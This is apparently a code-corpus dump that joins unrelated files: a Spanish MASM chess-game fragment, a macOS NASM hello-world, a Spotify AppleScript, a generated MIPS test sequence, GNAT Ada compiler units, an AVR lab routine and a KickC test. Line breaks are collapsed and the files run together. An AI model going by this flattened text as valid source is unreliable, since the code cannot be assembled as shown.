cmp cadena[0],'b' jz VariableXactualM ; cargar juego cmp cadena[0],'c' jz VariableXactualM cmp cadena[0],'d' jz VariableXactualM cmp cadena[0],'e' jz VariableXactualM cmp cadena[0],'f' jz VariableXactualM cmp cadena[0],'g' jz VariableXactualM cmp cadena[0],'h' jz VariableXactualM cmp cadena[0],'1' jz VariableYactualM cmp cadena[0],'2' jz VariableYactualM cmp cadena[0],'3' jz VariableYactualM cmp cadena[0],'4' jz VariableYactualM cmp cadena[0],'5' jz VariableYactualM cmp cadena[0],'6' jz VariableYactualM cmp cadena[0],'7' jz VariableYactualM cmp cadena[0],'8' jz VariableYactualM CALL PROBLANCASACTUAL RET PROBLANCASACTUAL ENDP ;TERMINAPROCESOSTEMPORALES==== VariableXactualM: CALL GuardarVariablexActual VariableYactualM: CALL GuardarVariableyActual LLAMARAINICIO: CALL prollamarinicio ;PROCESOSTEMPORALES si sirve es para movimiento blancas DESTINO PROBLANCASDESTINO PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar ;imprimios lea dx,mensajejuego; =turno de blancas mov ah,9h int 21h ; imprmimos lea dx,mensajejuego4; posicion destino x-y mov ah,9h int 21h ;=== ;nueva comparacion mov ah, 3fh mov bx,00 mov cx,100 mov dx, offset[cadena] int 21h mov ah, 09h mov dx, offset[cadena] int 21h ;para los otros comandos cmp cadena[0],'E'; para exit jz LLAMARAINICIODestino ;para los comandos cmp cadena[0],'a' jz VariableXMDestino ; inicar juego cmp cadena[0],'b' jz VariableXMDestino ; cargar juego cmp cadena[0],'c' jz VariableXMDestino cmp cadena[0],'d' jz VariableXMDestino cmp cadena[0],'e' jz VariableXMDestino cmp cadena[0],'f' jz VariableXMDestino cmp cadena[0],'g' jz VariableXMDestino cmp cadena[0],'h' jz VariableXMDestino cmp cadena[0],'1' jz VariableYMDestino cmp cadena[0],'2' jz VariableYMDestino cmp cadena[0],'3' jz VariableYMDestino cmp cadena[0],'4' jz VariableYMDestino cmp cadena[0],'5' jz VariableYMDestino cmp cadena[0],'6' jz VariableYMDestino cmp cadena[0],'7' jz VariableYMDestino cmp cadena[0],'8' jz VariableYMDestino ;termina nueva comparacion ;=== mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h CALL juegoprocesoNEGRAS RET PROBLANCASDESTINO ENDP ;TERMINAPROCESOSTEMPORALES==== VariableXMDestino: CALL GuaradarVariablexDestino VariableYMDestino: CALL GuardarVariableyDestino LLAMARAINICIODestino: CALL prollamarinicio prollamarinicio PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h CALL inicio RET prollamarinicio ENDP GuaradarVariablexDestino PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ; imprmimos mov ah, 01h int 21h sub al,30h mov n_xDestino,al CALL PROBLANCASDESTINO RET GuaradarVariablexDestino ENDP GuardarVariableyDestino PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ; imprmimos mov ah, 01h int 21h sub al,30h mov n_yDestino,al ;IMPRESION DE TODOS LOS DATOS lea dx,mensajejuego7; posicion actual x-y mov ah,9h int 21h mov ah,02h mov dl,n_xActual add dl,30h int 21h mov ah,02h mov dl,n_yActual add dl,30h int 21h mov ah,02h mov dl,n_xDestino add dl,30h int 21h mov ah,02h mov dl,n_yDestino add dl,30h int 21h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar CALL PRONEGRASACTUAL RET GuardarVariableyDestino ENDP GuardarVariablexActual PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah, 01h int 21h sub al,30h mov n_xActual,al CALL PROBLANCASACTUAL RET GuardarVariablexActual ENDP GuardarVariableyActual PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ;leemos mov ah, 01h int 21h sub al,30h mov n_yActual,al mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h CALL PROBLANCASDESTINO RET GuardarVariableyActual ENDP ;PROCESO DE BLANCAS========================================================================================================= ;PROCESO DE NEGRAS========================================================================================================= ;MOVIEMIENTO ACTUAL de las negras PRONEGRASACTUAL PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar ;imprimios lea dx,mensajejuego2; =turno de negras mov ah,9h int 21h ; imprmimos lea dx,mensajejuego3; posicion actual x-y mov ah,9h int 21h ;=== ;nueva comparacion mov ah, 3fh mov bx,00 mov cx,100 mov dx, offset[cadena] int 21h mov ah, 09h mov dx, offset[cadena] int 21h ;para los otros comandos cmp cadena[0],'E'; para exit jz LLAMARAINICION ;para los comandos cmp cadena[0],'a' jz VariableXactualMN ; inicar juego cmp cadena[0],'b' jz VariableXactualMN ; cargar juego cmp cadena[0],'c' jz VariableXactualMN cmp cadena[0],'d' jz VariableXactualMN cmp cadena[0],'e' jz VariableXactualMN cmp cadena[0],'f' jz VariableXactualMN cmp cadena[0],'g' jz VariableXactualMN cmp cadena[0],'h' jz VariableXactualMN cmp cadena[0],'1' jz VariableYactualMN cmp cadena[0],'2' jz VariableYactualMN cmp cadena[0],'3' jz VariableYactualMN cmp cadena[0],'4' jz VariableYactualMN cmp cadena[0],'5' jz VariableYactualMN cmp cadena[0],'6' jz VariableYactualMN cmp cadena[0],'7' jz VariableYactualMN cmp cadena[0],'8' jz VariableYactualMN CALL PRONEGRASACTUAL RET PRONEGRASACTUAL ENDP ;TERMINAPROCESOSTEMPORALES==== VariableXactualMN: CALL GuardarVariablexActualN VariableYactualMN: CALL GuardarVariableyActualN LLAMARAINICION: CALL prollamarinicioN prollamarinicioN PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h CALL inicio RET prollamarinicioN ENDP ;PROCESOSTEMPORALES si sirve es para movimiento blancas DESTINO PRONEGRASDESTINO PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar ;imprimios lea dx,mensajejuego2; =turno de blancas mov ah,9h int 21h ; imprmimos lea dx,mensajejuego4; posicion destino x-y mov ah,9h int 21h ;=== ;nueva comparacion mov ah, 3fh mov bx,00 mov cx,100 mov dx, offset[cadena] int 21h mov ah, 09h mov dx, offset[cadena] int 21h ;para los otros comandos cmp cadena[0],'E'; para exit jz LLAMARAINICIODestinoN ;para los comandos cmp cadena[0],'a' jz VariableXMDestinoN ; inicar juego cmp cadena[0],'b' jz VariableXMDestinoN ; cargar juego cmp cadena[0],'c' jz VariableXMDestinoN cmp cadena[0],'d' jz VariableXMDestinoN cmp cadena[0],'e' jz VariableXMDestinoN cmp cadena[0],'f' jz VariableXMDestinoN cmp cadena[0],'g' jz VariableXMDestinoN cmp cadena[0],'h' jz VariableXMDestinoN cmp cadena[0],'1' jz VariableYMDestinoN cmp cadena[0],'2' jz VariableYMDestinoN cmp cadena[0],'3' jz VariableYMDestinoN cmp cadena[0],'4' jz VariableYMDestinoN cmp cadena[0],'5' jz VariableYMDestinoN cmp cadena[0],'6' jz VariableYMDestinoN cmp cadena[0],'7' jz VariableYMDestinoN cmp cadena[0],'8' jz VariableYMDestinoN ;termina nueva comparacion ;=== mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h CALL PRONEGRASDESTINO RET PRONEGRASDESTINO ENDP ;TERMINAPROCESOSTEMPORALES==== VariableXMDestinoN: CALL GuaradarVariablexDestinoN VariableYMDestinoN: CALL GuardarVariableyDestinoN LLAMARAINICIODestinoN: CALL prollamarinicioN2 prollamarinicioN2 PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h CALL inicio RET prollamarinicioN2 ENDP GuaradarVariablexDestinoN PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ; imprmimos mov ah, 01h int 21h sub al,30h mov n_xDestino,al CALL PRONEGRASDESTINO RET GuaradarVariablexDestinoN ENDP GuardarVariableyDestinoN PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ; imprmimos mov ah, 01h int 21h sub al,30h mov n_yDestino,al ;IMPRESION DE TODOS LOS DATOS lea dx,mensajejuego7; posicion actual x-y mov ah,9h int 21h mov ah,02h mov dl,n_xActual add dl,30h int 21h mov ah,02h mov dl,n_yActual add dl,30h int 21h mov ah,02h mov dl,n_xDestino add dl,30h int 21h mov ah,02h mov dl,n_yDestino add dl,30h int 21h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar CALL PROBLANCASACTUAL;clavo RET GuardarVariableyDestinoN ENDP GuardarVariablexActualN PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah, 01h int 21h sub al,30h mov n_xActual,al CALL PRONEGRASACTUAL RET GuardarVariablexActualN ENDP GuardarVariableyActualN PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h ;leemos mov ah, 01h int 21h sub al,30h mov n_yActual,al mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h CALL PRONEGRASDESTINO RET GuardarVariableyActualN ENDP ;PROCESO DE BLANCAS========================================================================================================= MORADOPROC PROC NEAR mov ah,0 mov al,3h int 10h mov ax,0600h mov bh,5fh mov cx,0000h mov dx,184Fh int 10h lea dx,mensaje2 mov ah,9h int 21h CALL inicio RET MORADOPROC ENDP codigo ends end inicio
Mac OS X/NASM/32.asm
leonhad/masm
9
174978
; /usr/local/bin/nasm -f macho 32.asm && ld -macosx_version_min 10.7.0 -o 32 32.o && ./32 global start section .text start: push dword msg.len push dword msg push dword 1 mov eax, 4 sub esp, 4 int 0x80 add esp, 16 push dword 0 mov eax, 1 sub esp, 12 int 0x80 section .data msg: db "Hello, world!", 10 .len: equ $ - msg
node_modules/spotify-node-applescript/lib/scripts/toggle_repeating.applescript
ahmedj90/LyricsApp
9
2632
tell application "Spotify" if repeating then set repeating to false else set repeating to true end if end tell
P6/data_P6_2/cal_R_test50.asm
alxzzhou/BUAA_CO_2020
1
12154
lui $1,4529 ori $1,$1,60536 lui $2,50278 ori $2,$2,8933 lui $3,12362 ori $3,$3,4069 lui $4,41227 ori $4,$4,399 lui $5,42981 ori $5,$5,53073 lui $6,15174 ori $6,$6,62405 mthi $1 mtlo $2 sec0: nop nop nop slt $5,$6,$2 sec1: nop nop subu $6,$4,$4 slt $3,$6,$2 sec2: nop nop xori $6,$3,10618 slt $4,$6,$2 sec3: nop nop mfhi $6 slt $5,$6,$2 sec4: nop nop lhu $6,4($0) slt $5,$6,$2 sec5: nop xor $2,$3,$0 nop slt $3,$6,$2 sec6: nop xor $2,$2,$3 nor $6,$2,$1 slt $1,$6,$2 sec7: nop xor $2,$2,$3 ori $6,$1,8643 slt $2,$6,$2 sec8: nop or $2,$5,$2 mflo $6 slt $3,$6,$2 sec9: nop sltu $2,$5,$4 lhu $6,8($0) slt $3,$6,$2 sec10: nop lui $2,31829 nop slt $2,$6,$2 sec11: nop andi $2,$5,13800 nor $6,$0,$1 slt $5,$6,$2 sec12: nop lui $2,19183 slti $6,$2,-6338 slt $3,$6,$2 sec13: nop sltiu $2,$4,-27640 mflo $6 slt $3,$6,$2 sec14: nop lui $2,41380 lb $6,10($0) slt $6,$6,$2 sec15: nop mfhi $2 nop slt $3,$6,$2 sec16: nop mfhi $2 slt $6,$2,$3 slt $4,$6,$2 sec17: nop mfhi $2 xori $6,$4,56183 slt $4,$6,$2 sec18: nop mfhi $2 mflo $6 slt $1,$6,$2 sec19: nop mfhi $2 lhu $6,16($0) slt $3,$6,$2 sec20: nop lh $2,16($0) nop slt $4,$6,$2 sec21: nop lbu $2,9($0) and $6,$1,$3 slt $5,$6,$2 sec22: nop lh $2,14($0) andi $6,$4,33493 slt $4,$6,$2 sec23: nop lh $2,12($0) mfhi $6 slt $4,$6,$2 sec24: nop lbu $2,8($0) lb $6,0($0) slt $6,$6,$2 sec25: addu $2,$1,$3 nop nop slt $2,$6,$2 sec26: subu $2,$4,$2 nop addu $6,$3,$4 slt $4,$6,$2 sec27: or $2,$4,$4 nop addiu $6,$2,-7987 slt $4,$6,$2 sec28: addu $2,$3,$2 nop mflo $6 slt $2,$6,$2 sec29: and $2,$5,$1 nop lbu $6,15($0) slt $3,$6,$2 sec30: sltu $2,$5,$5 sltu $2,$1,$3 nop slt $3,$6,$2 sec31: sltu $2,$5,$2 xor $2,$3,$4 or $6,$5,$3 slt $1,$6,$2 sec32: slt $2,$5,$4 xor $2,$5,$1 sltiu $6,$3,5410 slt $2,$6,$2 sec33: sltu $2,$3,$2 nor $2,$1,$2 mflo $6 slt $2,$6,$2 sec34: slt $2,$3,$3 slt $2,$1,$5 lhu $6,4($0) slt $2,$6,$2 sec35: slt $2,$4,$4 xori $2,$3,37026 nop slt $1,$6,$2 sec36: xor $2,$3,$4 lui $2,58204 slt $6,$3,$4 slt $2,$6,$2 sec37: xor $2,$6,$3 addiu $2,$1,16335 slti $6,$0,15995 slt $6,$6,$2 sec38: xor $2,$5,$2 sltiu $2,$2,25978 mflo $6 slt $1,$6,$2 sec39: xor $2,$3,$1 andi $2,$2,50005 lb $6,5($0) slt $5,$6,$2 sec40: and $2,$1,$4 mfhi $2 nop slt $5,$6,$2 sec41: or $2,$1,$1 mflo $2 and $6,$4,$1 slt $0,$6,$2 sec42: sltu $2,$4,$6 mfhi $2 ori $6,$4,45046 slt $0,$6,$2 sec43: sltu $2,$3,$2 mfhi $2 mfhi $6 slt $0,$6,$2 sec44: subu $2,$0,$6 mfhi $2 lhu $6,8($0) slt $3,$6,$2 sec45: addu $2,$3,$6 lw $2,8($0) nop slt $5,$6,$2 sec46: and $2,$3,$3 lh $2,4($0) slt $6,$6,$5 slt $3,$6,$2 sec47: nor $2,$0,$2 lb $2,8($0) addiu $6,$3,27236 slt $3,$6,$2 sec48: and $2,$1,$3 lh $2,6($0) mfhi $6 slt $2,$6,$2 sec49: nor $2,$2,$3 lw $2,4($0) lw $6,0($0) slt $4,$6,$2 sec50: slti $2,$2,29515 nop nop slt $3,$6,$2 sec51: slti $2,$2,-4187 nop sltu $6,$1,$4 slt $5,$6,$2 sec52: slti $2,$5,15525 nop sltiu $6,$3,-9286 slt $5,$6,$2 sec53: slti $2,$2,27802 nop mflo $6 slt $1,$6,$2 sec54: addiu $2,$6,9607 nop lbu $6,10($0) slt $2,$6,$2 sec55: slti $2,$1,16764 slt $2,$2,$6 nop slt $1,$6,$2 sec56: ori $2,$3,40960 nor $2,$2,$5 slt $6,$4,$5 slt $1,$6,$2 sec57: andi $2,$0,57737 sltu $2,$0,$5 xori $6,$2,43741 slt $4,$6,$2 sec58: slti $2,$4,-28046 and $2,$4,$0 mflo $6 slt $4,$6,$2 sec59: lui $2,51945 xor $2,$1,$4 lhu $6,2($0) slt $3,$6,$2 sec60: lui $2,42285 ori $2,$3,9472 nop slt $3,$6,$2 sec61: ori $2,$6,4995 xori $2,$5,56964 subu $6,$4,$2 slt $2,$6,$2 sec62: ori $2,$3,13292 ori $2,$0,53280 addiu $6,$3,23400 slt $3,$6,$2 sec63: addiu $2,$2,21695 lui $2,43675 mfhi $6 slt $6,$6,$2 sec64: xori $2,$5,25251 andi $2,$2,11622 lbu $6,4($0) slt $3,$6,$2 sec65: andi $2,$2,52720 mfhi $2 nop slt $3,$6,$2 sec66: slti $2,$1,-28319 mfhi $2 xor $6,$1,$3 slt $4,$6,$2 sec67: slti $2,$5,-20142 mflo $2 xori $6,$2,59980 slt $4,$6,$2 sec68: xori $2,$5,2900 mflo $2 mfhi $6 slt $5,$6,$2 sec69: addiu $2,$3,2891 mflo $2 lbu $6,9($0) slt $3,$6,$2 sec70: xori $2,$2,59564 lb $2,8($0) nop slt $0,$6,$2 sec71: addiu $2,$0,-3230 lw $2,0($0) xor $6,$4,$2 slt $1,$6,$2 sec72: andi $2,$4,19129 lb $2,14($0) addiu $6,$3,-17253 slt $3,$6,$2 sec73: andi $2,$4,50575 lhu $2,12($0) mfhi $6 slt $1,$6,$2 sec74: xori $2,$5,15716 lh $2,16($0) lh $6,4($0) slt $4,$6,$2 sec75: mfhi $2 nop nop slt $4,$6,$2 sec76: mflo $2 nop or $6,$4,$4 slt $2,$6,$2 sec77: mfhi $2 nop sltiu $6,$3,-23728 slt $3,$6,$2 sec78: mflo $2 nop mflo $6 slt $3,$6,$2 sec79: mfhi $2 nop lbu $6,10($0) slt $0,$6,$2 sec80: mfhi $2 sltu $2,$3,$3 nop slt $3,$6,$2 sec81: mflo $2 subu $2,$0,$6 or $6,$4,$1 slt $4,$6,$2 sec82: mflo $2 nor $2,$4,$2 addiu $6,$3,-20464 slt $2,$6,$2 sec83: mfhi $2 subu $2,$3,$2 mflo $6 slt $4,$6,$2 sec84: mflo $2 nor $2,$3,$3 lw $6,16($0) slt $2,$6,$2 sec85: mfhi $2 slti $2,$3,3901 nop slt $5,$6,$2 sec86: mflo $2 lui $2,34091 slt $6,$3,$6 slt $3,$6,$2 sec87: mflo $2 andi $2,$1,34834 xori $6,$3,17975 slt $3,$6,$2 sec88: mflo $2 addiu $2,$6,-30962 mflo $6 slt $3,$6,$2 sec89: mfhi $2 ori $2,$4,29975 lhu $6,6($0) slt $3,$6,$2 sec90: mflo $2 mflo $2 nop slt $2,$6,$2 sec91: mflo $2 mflo $2 addu $6,$1,$3 slt $0,$6,$2 sec92: mflo $2 mfhi $2 sltiu $6,$3,-20272 slt $5,$6,$2 sec93: mfhi $2 mfhi $2 mfhi $6 slt $1,$6,$2 sec94: mflo $2 mflo $2 lbu $6,5($0) slt $1,$6,$2 sec95: mfhi $2 lb $2,6($0) nop slt $3,$6,$2 sec96: mflo $2 lb $2,15($0) or $6,$0,$3 slt $5,$6,$2 sec97: mfhi $2 lh $2,8($0) ori $6,$1,4355 slt $4,$6,$2 sec98: mflo $2 lw $2,16($0) mflo $6 slt $2,$6,$2 sec99: mflo $2 lhu $2,14($0) lw $6,4($0) slt $1,$6,$2 sec100: lw $2,16($0) nop nop slt $5,$6,$2 sec101: lb $2,0($0) nop or $6,$3,$3 slt $6,$6,$2 sec102: lbu $2,9($0) nop xori $6,$3,31615 slt $5,$6,$2 sec103: lb $2,12($0) nop mflo $6 slt $2,$6,$2 sec104: lb $2,1($0) nop lh $6,16($0) slt $1,$6,$2 sec105: lw $2,4($0) or $2,$4,$5 nop slt $5,$6,$2 sec106: lw $2,16($0) or $2,$3,$2 and $6,$2,$0 slt $5,$6,$2 sec107: lb $2,11($0) slt $2,$6,$2 slti $6,$0,-6037 slt $2,$6,$2 sec108: lbu $2,11($0) or $2,$5,$4 mfhi $6 slt $4,$6,$2 sec109: lbu $2,16($0) xor $2,$5,$1 lhu $6,16($0) slt $4,$6,$2 sec110: lb $2,4($0) ori $2,$3,15747 nop slt $2,$6,$2 sec111: lhu $2,16($0) sltiu $2,$0,-28103 xor $6,$2,$2 slt $1,$6,$2 sec112: lw $2,8($0) addiu $2,$3,5902 ori $6,$3,2559 slt $3,$6,$2 sec113: lbu $2,9($0) slti $2,$5,24046 mfhi $6 slt $3,$6,$2 sec114: lh $2,16($0) sltiu $2,$3,-26210 lh $6,0($0) slt $2,$6,$2 sec115: lh $2,16($0) mfhi $2 nop slt $4,$6,$2 sec116: lbu $2,10($0) mflo $2 and $6,$2,$5 slt $2,$6,$2 sec117: lh $2,8($0) mfhi $2 slti $6,$3,-3760 slt $1,$6,$2 sec118: lw $2,4($0) mflo $2 mflo $6 slt $4,$6,$2 sec119: lw $2,0($0) mflo $2 lb $6,1($0) slt $4,$6,$2 sec120: lb $2,13($0) lbu $2,15($0) nop slt $4,$6,$2 sec121: lh $2,2($0) lb $2,4($0) xor $6,$4,$5 slt $4,$6,$2 sec122: lhu $2,6($0) lh $2,10($0) addiu $6,$2,-31687 slt $4,$6,$2 sec123: lbu $2,3($0) lhu $2,4($0) mflo $6 slt $4,$6,$2 sec124: lbu $2,13($0) lhu $2,14($0) lh $6,8($0) slt $3,$6,$2
Validation/pyFrame3DD-master/gcc-master/gcc/ada/exp_imgv.ads
djamal2727/Main-Bearing-Analytical-Model
0
23881
<reponame>djamal2727/Main-Bearing-Analytical-Model ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- E X P _ I M G V -- -- -- -- S p e c -- -- -- -- Copyright (C) 2000-2020, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- Expand routines for Image, Value and Width attributes. These are the -- attributes that make use of enumeration type image tables. with Types; use Types; package Exp_Imgv is procedure Build_Enumeration_Image_Tables (E : Entity_Id; N : Node_Id); -- Build the enumeration image tables for E, which is an enumeration -- base type. The node N is the point in the tree where the resulting -- declarations are to be inserted. -- -- The form of the tables generated is as follows: -- -- xxxS : string := "chars"; -- xxxI : array (0 .. N) of Natural_8/16/32 := (1, n, .., n); -- -- Here xxxS is a string obtained by concatenating all the names -- of the enumeration literals in sequence, representing any wide -- characters according to the current wide character encoding -- method, and with all letters forced to upper case. -- -- The array xxxI is an array of ones origin indexes to the start -- of each name, with one extra entry at the end, which is the index -- to the character just past the end of the last literal, i.e. it is -- the length of xxxS + 1. The element type is the shortest of the -- possible types that will hold all the values. -- -- For example, for the type -- -- type x is (hello,'!',goodbye); -- -- the generated tables would consist of -- -- xxxS : String := "hello'!'goodbye"; -- xxxI : array (0 .. 3) of Natural_8 := (1, 6, 9, 16); -- -- Here Natural_8 is used since 16 < 2**(8-1) -- -- If the entity E needs the tables constructing, the necessary -- declarations are constructed, and the fields Lit_Strings and -- Lit_Indexes of E are set to point to the corresponding entities. -- If no tables are needed (E is not a user defined enumeration -- root type, or pragma Discard_Names is in effect, then the -- declarations are not constructed, and the fields remain Empty. procedure Expand_Image_Attribute (N : Node_Id); -- This procedure is called from Exp_Attr to expand an occurrence of the -- attribute Image. procedure Expand_Wide_Image_Attribute (N : Node_Id); -- This procedure is called from Exp_Attr to expand an occurrence of the -- attribute Wide_Image. procedure Expand_Wide_Wide_Image_Attribute (N : Node_Id); -- This procedure is called from Exp_Attr to expand an occurrence of the -- attribute Wide_Wide_Image. procedure Expand_Value_Attribute (N : Node_Id); -- This procedure is called from Exp_Attr to expand an occurrence of the -- attribute Value. type Atype is (Normal, Wide, Wide_Wide); -- Type of attribute in call to Expand_Width_Attribute procedure Expand_Width_Attribute (N : Node_Id; Attr : Atype := Normal); -- This procedure is called from Exp_Attr to expand an occurrence of the -- attributes Width (Attr = Normal), or Wide_Width (Attr Wide), or -- Wide_Wide_Width (Attr = Wide_Wide). end Exp_Imgv;
llvm-gcc-4.2-2.9/gcc/ada/s-valuti.adb
vidkidz/crossbridge
1
5047
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S Y S T E M . V A L _ U T I L -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2006, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with System.Case_Util; use System.Case_Util; package body System.Val_Util is ---------------------- -- Normalize_String -- ---------------------- procedure Normalize_String (S : in out String; F, L : out Integer) is begin F := S'First; L := S'Last; -- Scan for leading spaces while F <= L and then S (F) = ' ' loop F := F + 1; end loop; -- Check for case when the string contained no characters if F > L then raise Constraint_Error; end if; -- Scan for trailing spaces while S (L) = ' ' loop L := L - 1; end loop; -- Except in the case of a character literal, convert to upper case if S (F) /= ''' then for J in F .. L loop S (J) := To_Upper (S (J)); end loop; end if; end Normalize_String; ------------------- -- Scan_Exponent -- ------------------- function Scan_Exponent (Str : String; Ptr : access Integer; Max : Integer; Real : Boolean := False) return Integer is P : Natural := Ptr.all; M : Boolean; X : Integer; begin if P >= Max or else (Str (P) /= 'E' and then Str (P) /= 'e') then return 0; end if; -- We have an E/e, see if sign follows P := P + 1; if Str (P) = '+' then P := P + 1; if P > Max then return 0; else M := False; end if; elsif Str (P) = '-' then P := P + 1; if P > Max or else not Real then return 0; else M := True; end if; else M := False; end if; if Str (P) not in '0' .. '9' then return 0; end if; -- Scan out the exponent value as an unsigned integer. Values larger -- than (Integer'Last / 10) are simply considered large enough here. -- This assumption is correct for all machines we know of (e.g. in -- the case of 16 bit integers it allows exponents up to 3276, which -- is large enough for the largest floating types in base 2.) X := 0; loop if X < (Integer'Last / 10) then X := X * 10 + (Character'Pos (Str (P)) - Character'Pos ('0')); end if; P := P + 1; exit when P > Max; if Str (P) = '_' then Scan_Underscore (Str, P, Ptr, Max, False); else exit when Str (P) not in '0' .. '9'; end if; end loop; if M then X := -X; end if; Ptr.all := P; return X; end Scan_Exponent; -------------------- -- Scan_Plus_Sign -- -------------------- procedure Scan_Plus_Sign (Str : String; Ptr : access Integer; Max : Integer; Start : out Positive) is P : Natural := Ptr.all; begin if P > Max then raise Constraint_Error; end if; -- Scan past initial blanks while Str (P) = ' ' loop P := P + 1; if P > Max then Ptr.all := P; raise Constraint_Error; end if; end loop; Start := P; -- Skip past an initial plus sign if Str (P) = '+' then P := P + 1; if P > Max then Ptr.all := Start; raise Constraint_Error; end if; end if; Ptr.all := P; end Scan_Plus_Sign; --------------- -- Scan_Sign -- --------------- procedure Scan_Sign (Str : String; Ptr : access Integer; Max : Integer; Minus : out Boolean; Start : out Positive) is P : Natural := Ptr.all; begin -- Deal with case of null string (all blanks!). As per spec, we -- raise constraint error, with Ptr unchanged, and thus > Max. if P > Max then raise Constraint_Error; end if; -- Scan past initial blanks while Str (P) = ' ' loop P := P + 1; if P > Max then Ptr.all := P; raise Constraint_Error; end if; end loop; Start := P; -- Remember an initial minus sign if Str (P) = '-' then Minus := True; P := P + 1; if P > Max then Ptr.all := Start; raise Constraint_Error; end if; -- Skip past an initial plus sign elsif Str (P) = '+' then Minus := False; P := P + 1; if P > Max then Ptr.all := Start; raise Constraint_Error; end if; else Minus := False; end if; Ptr.all := P; end Scan_Sign; -------------------------- -- Scan_Trailing_Blanks -- -------------------------- procedure Scan_Trailing_Blanks (Str : String; P : Positive) is begin for J in P .. Str'Last loop if Str (J) /= ' ' then raise Constraint_Error; end if; end loop; end Scan_Trailing_Blanks; --------------------- -- Scan_Underscore -- --------------------- procedure Scan_Underscore (Str : String; P : in out Natural; Ptr : access Integer; Max : Integer; Ext : Boolean) is C : Character; begin P := P + 1; -- If underscore is at the end of string, then this is an error and -- we raise Constraint_Error, leaving the pointer past the undescore. -- This seems a bit strange. It means e,g, that if the field is: -- 345_ -- that Constraint_Error is raised. You might think that the RM in -- this case would scan out the 345 as a valid integer, leaving the -- pointer at the underscore, but the ACVC suite clearly requires -- an error in this situation (see for example CE3704M). if P > Max then Ptr.all := P; raise Constraint_Error; end if; -- Similarly, if no digit follows the underscore raise an error. This -- also catches the case of double underscore which is also an error. C := Str (P); if C in '0' .. '9' or else (Ext and then (C in 'A' .. 'F' or else C in 'a' .. 'f')) then return; else Ptr.all := P; raise Constraint_Error; end if; end Scan_Underscore; end System.Val_Util;
lab05_cn/task3-6/task4.asm
andreeanec10/Calculatoare-Numerice-2
0
104861
<filename>lab05_cn/task3-6/task4.asm<gh_stars>0 main: ldi r20, 5 ldi r16, 0 push r20 push r16 rcall dif ret dif: pop r16 pop r20 sub r16, r20 ret
src/test/ref/inline-asm-uses-1.asm
jbrandwood/kickc
2
7425
<gh_stars>1-10 // Demonstrates inline ASM using a variable (res) // Commodore 64 PRG executable file .file [name="inline-asm-uses-1.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label CHKIN = $1000 .label GETIN = $1003 .label CLRCHN = $1006 .segment Code main: { .label SCREEN = $1009 // char x = fgetc(7) lda #7 sta.z fgetc.channel jsr fgetc // *SCREEN = x sta SCREEN // } rts } // __register(A) char fgetc(__zp(3) volatile char channel) fgetc: { .label channel = 3 .label ret = 2 // char ret lda #0 sta.z ret // asm ldx channel jsr CHKIN jsr GETIN sta ret jsr CLRCHN // return ret; lda.z ret // } rts }
libsrc/msx/vdpport.asm
Toysoft/z88dk
0
162832
